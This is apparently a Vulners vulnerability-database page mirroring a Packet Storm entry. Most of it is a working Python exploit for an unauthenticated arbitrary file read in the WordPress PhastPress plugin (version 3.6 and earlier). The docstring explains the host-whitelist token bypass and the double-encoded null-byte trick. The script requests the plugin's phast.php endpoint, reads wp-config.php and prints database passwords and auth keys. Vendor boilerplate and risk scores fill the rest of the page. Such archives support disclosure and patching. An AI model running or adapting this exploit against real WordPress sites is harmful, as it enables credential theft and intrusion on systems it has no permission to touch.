Lucene search
+L

📄 WordPress PhastPress 3.6 Unauthenticated Arbitrary File Read

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 18 Views

Unauthenticated file read in WordPress PhastPress 3.6 reads wp-config.php.

Related
Code
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin PhastPress <= 3.6 - Unauthenticated Arbitrary File Read
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/phastpress/
    # Software Link: https://downloads.wordpress.org/plugin/phastpress.3.6.zip
    # Version: 3.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14388
    """CVE-2025-14388 — PhastPress <= 3.6 — Unauthenticated Arbitrary File Read
    
    Blackbox HTTP exploit against a real WordPress + PhastPress install. Reads any file inside the
    web document root (e.g. wp-config.php → DB credentials + all AUTH keys/salts).
    
    Root cause: the standalone entry script `wp-content/plugins/phastpress/phast.php` serves the
    optimizer `scripts` service with NO WordPress auth. Token auth is bypassed via the host whitelist
    fallback (`~^https?://<request-host>/~`), so a `src` beginning with the site's own host is accepted
    without a token. The extension allow-list is bypassed with a double-URL-encoded null byte
    (`wp-config.php%2500.js`): the check sees a `.js` file, but the path is truncated at the null byte
    before `file_get_contents()`, reading `wp-config.php`.
    
    Key detail: PhastPress keys its local-file retriever map on the request `Host` header, and the
    `src` URL host must MATCH it exactly (no port), or it falls back to a (failing) remote fetch.
    This exploit sends `Host: <host>` and `src=http://<host>/...` consistently.
    
    Usage:
      python3 CVE-2025-14388_phastpress.py --target http://localhost:8090 --host localhost --file wp-config.php
    """
    import argparse, sys, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True, help="URL used to reach the server, e.g. http://localhost:8090")
        ap.add_argument("--host", default=None,
                        help="Host header / src host phastpress maps to docroot (default: target host without port)")
        ap.add_argument("--file", default="wp-config.php", help="file to read, relative to web root")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        parsed = urllib.parse.urlparse(base)
        host = args.host or parsed.hostname   # no port
        # src = http://<host>/<file>%2500.js  (double-encoded null byte + fake .js ext)
        src = f"http://{host}/{args.file}%00.js"
        src_qs = urllib.parse.quote(f"http://{host}/{args.file}", safe="") + "%2500.js"
        url = f"{base}/wp-content/plugins/phastpress/phast.php?service=scripts&src={src_qs}"
        print(f"[*] Target: {base}")
        print(f"[*] Host header / retriever key: {host}")
        print(f"[*] Reading: {args.file}  (null-byte bypass -> {src})")
        r = requests.get(url, headers={"Host": host}, timeout=20, verify=False)
        print(f"[*] Response: HTTP {r.status_code}, {len(r.content)} bytes")
        body = r.text
        markers = ["DB_NAME", "DB_PASSWORD", "AUTH_KEY", "table_prefix"]
        if r.status_code == 200 and any(m in body for m in markers if args.file.endswith("wp-config.php")) \
           or (r.status_code == 200 and args.file != "wp-config.php" and len(body) > 0 and "Internal error" not in body):
            print(f"\n[+] FILE READ CONFIRMED — contents of {args.file}:")
            print("-" * 60)
            print(body.strip()[:4000])
            print("-" * 60)
            return 0
        print(f"\n[-] Read failed. Body: {body[:200]}")
        print("    Tip: ensure --host matches the site's Host header exactly (no port).")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 3.19.8
EPSS0.00423
SSVC
18